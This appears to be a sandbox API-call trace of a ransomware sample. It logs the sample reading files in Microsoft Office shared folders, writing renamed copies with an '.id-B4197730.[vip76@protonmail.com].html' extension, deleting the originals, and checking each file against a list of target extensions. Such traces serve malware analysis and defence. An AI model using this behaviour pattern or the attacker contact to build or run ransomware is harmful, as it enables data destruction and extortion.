	[0064.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0064.078] GetLastError () returned 0x0
	[0064.078] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1028, lpOverlapped=0x0) returned 1
	[0064.079] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1030, lpOverlapped=0x0) returned 1
	[0064.080] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.080] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x100, lpOverlapped=0x0) returned 1
	[0064.080] SetEndOfFile (hFile=0x334) returned 1
	[0064.080] CloseHandle (hObject=0x334) returned 1
	[0064.081] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.081] SetEndOfFile (hFile=0x338) returned 1
	[0064.086] CloseHandle (hObject=0x338) returned 1
	[0064.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0064.087] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1
	[0064.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.087] lstrlenW (lpString=".doc") returned 4
	[0064.087] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.087] lstrlenW (lpString=".docx") returned 5
	[0064.087] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0064.087] lstrlenW (lpString=".pdf") returned 4
	[0064.087] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.087] lstrlenW (lpString=".xls") returned 4
	[0064.087] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.087] lstrlenW (lpString=".xlsx") returned 5
	[0064.088] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0064.088] lstrlenW (lpString=".ppt") returned 4
	[0064.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.088] lstrlenW (lpString=".zip") returned 4
	[0064.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.088] lstrlenW (lpString=".rar") returned 4
	[0064.088] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.088] lstrlenW (lpString=".bz2") returned 4
	[0064.088] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.088] lstrlenW (lpString=".7z") returned 3
	[0064.088] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.088] lstrlenW (lpString=".dbf") returned 4
	[0064.088] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.088] lstrlenW (lpString=".1cd") returned 4
	[0064.088] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.088] lstrlenW (lpString=".jpg") returned 4
	[0064.088] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.088] lstrlenW (lpString=".doc") returned 4
	[0064.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.088] lstrlenW (lpString=".docx") returned 5
	[0064.088] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0064.088] lstrlenW (lpString=".pdf") returned 4
	[0064.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.088] lstrlenW (lpString=".xls") returned 4
	[0064.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.089] lstrlenW (lpString=".xlsx") returned 5
	[0064.089] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0064.089] lstrlenW (lpString=".ppt") returned 4
	[0064.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.089] lstrlenW (lpString=".zip") returned 4
	[0064.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.089] lstrlenW (lpString=".rar") returned 4
	[0064.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.089] lstrlenW (lpString=".bz2") returned 4
	[0064.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.089] lstrlenW (lpString=".7z") returned 3
	[0064.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.089] lstrlenW (lpString=".dbf") returned 4
	[0064.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.089] lstrlenW (lpString=".1cd") returned 4
	[0064.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0064.089] lstrlenW (lpString=".jpg") returned 4
	[0064.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.089] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.089] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24
	[0064.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.090] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4782) returned 1
	[0064.090] CloseHandle (hObject=0x338) returned 1
	[0064.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20
	[0064.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.091] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.091] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0064.091] GetLastError () returned 0x0
	[0064.091] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x12ae, lpOverlapped=0x0) returned 1
	[0064.107] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x12b0, lpOverlapped=0x0) returned 1
	[0064.108] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.108] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x104, lpOverlapped=0x0) returned 1
	[0064.108] SetEndOfFile (hFile=0x334) returned 1
	[0064.108] CloseHandle (hObject=0x334) returned 1
	[0064.109] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.109] SetEndOfFile (hFile=0x338) returned 1
	[0064.110] CloseHandle (hObject=0x338) returned 1
	[0064.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0064.111] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1
	[0064.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.111] lstrlenW (lpString=".doc") returned 4
	[0064.111] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.111] lstrlenW (lpString=".docx") returned 5
	[0064.111] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0064.111] lstrlenW (lpString=".pdf") returned 4
	[0064.111] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.111] lstrlenW (lpString=".xls") returned 4
	[0064.111] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.111] lstrlenW (lpString=".xlsx") returned 5
	[0064.111] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0064.111] lstrlenW (lpString=".ppt") returned 4
	[0064.111] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.111] lstrlenW (lpString=".zip") returned 4
	[0064.111] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.111] lstrlenW (lpString=".rar") returned 4
	[0064.111] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.111] lstrlenW (lpString=".bz2") returned 4
	[0064.111] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.111] lstrlenW (lpString=".7z") returned 3
	[0064.111] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.112] lstrlenW (lpString=".dbf") returned 4
	[0064.112] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.112] lstrlenW (lpString=".1cd") returned 4
	[0064.112] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.112] lstrlenW (lpString=".jpg") returned 4
	[0064.112] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.112] lstrlenW (lpString=".doc") returned 4
	[0064.112] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.112] lstrlenW (lpString=".docx") returned 5
	[0064.112] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0064.112] lstrlenW (lpString=".pdf") returned 4
	[0064.112] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.112] lstrlenW (lpString=".xls") returned 4
	[0064.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.112] lstrlenW (lpString=".xlsx") returned 5
	[0064.112] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0064.112] lstrlenW (lpString=".ppt") returned 4
	[0064.112] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.112] lstrlenW (lpString=".zip") returned 4
	[0064.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.112] lstrlenW (lpString=".rar") returned 4
	[0064.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.112] lstrlenW (lpString=".bz2") returned 4
	[0064.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.113] lstrlenW (lpString=".7z") returned 3
	[0064.113] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.113] lstrlenW (lpString=".dbf") returned 4
	[0064.113] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.113] lstrlenW (lpString=".1cd") returned 4
	[0064.113] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0064.113] lstrlenW (lpString=".jpg") returned 4
	[0064.113] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.113] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.113] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26
	[0064.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.113] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4450) returned 1
	[0064.113] CloseHandle (hObject=0x338) returned 1
	[0064.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20
	[0064.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.114] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.114] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0064.114] GetLastError () returned 0x0
	[0064.114] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1162, lpOverlapped=0x0) returned 1
	[0064.117] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1170, lpOverlapped=0x0) returned 1
	[0064.119] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.119] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x108, lpOverlapped=0x0) returned 1
	[0064.119] SetEndOfFile (hFile=0x334) returned 1
	[0064.119] CloseHandle (hObject=0x334) returned 1
	[0064.120] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.120] SetEndOfFile (hFile=0x338) returned 1
	[0064.121] CloseHandle (hObject=0x338) returned 1
	[0064.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0064.121] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1
	[0064.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.121] lstrlenW (lpString=".doc") returned 4
	[0064.121] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString=".docx") returned 5
	[0064.122] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0064.122] lstrlenW (lpString=".pdf") returned 4
	[0064.122] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString=".xls") returned 4
	[0064.122] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString=".xlsx") returned 5
	[0064.122] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0064.122] lstrlenW (lpString=".ppt") returned 4
	[0064.122] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.122] lstrlenW (lpString=".zip") returned 4
	[0064.122] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.122] lstrlenW (lpString=".rar") returned 4
	[0064.122] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString=".bz2") returned 4
	[0064.122] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString=".7z") returned 3
	[0064.122] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.122] lstrlenW (lpString=".dbf") returned 4
	[0064.122] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.122] lstrlenW (lpString=".1cd") returned 4
	[0064.122] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.122] lstrlenW (lpString=".jpg") returned 4
	[0064.122] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.122] lstrlenW (lpString=".doc") returned 4
	[0064.123] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.123] lstrlenW (lpString=".docx") returned 5
	[0064.123] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0064.123] lstrlenW (lpString=".pdf") returned 4
	[0064.123] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.123] lstrlenW (lpString=".xls") returned 4
	[0064.123] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.123] lstrlenW (lpString=".xlsx") returned 5
	[0064.123] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0064.123] lstrlenW (lpString=".ppt") returned 4
	[0064.123] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.123] lstrlenW (lpString=".zip") returned 4
	[0064.123] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.123] lstrlenW (lpString=".rar") returned 4
	[0064.123] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.123] lstrlenW (lpString=".bz2") returned 4
	[0064.123] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.123] lstrlenW (lpString=".7z") returned 3
	[0064.123] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.123] lstrlenW (lpString=".dbf") returned 4
	[0064.123] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.123] lstrlenW (lpString=".1cd") returned 4
	[0064.123] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0064.123] lstrlenW (lpString=".jpg") returned 4
	[0064.123] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.124] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.124] lstrlenW (lpString="Alphabet.xml") returned 12
	[0064.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.251] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=791421) returned 1
	[0064.251] CloseHandle (hObject=0x364) returned 1
	[0064.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0064.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.252] lstrlenW (lpString=".doc") returned 4
	[0064.252] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.252] lstrlenW (lpString=".docx") returned 5
	[0064.252] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0064.252] lstrlenW (lpString=".pdf") returned 4
	[0064.252] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
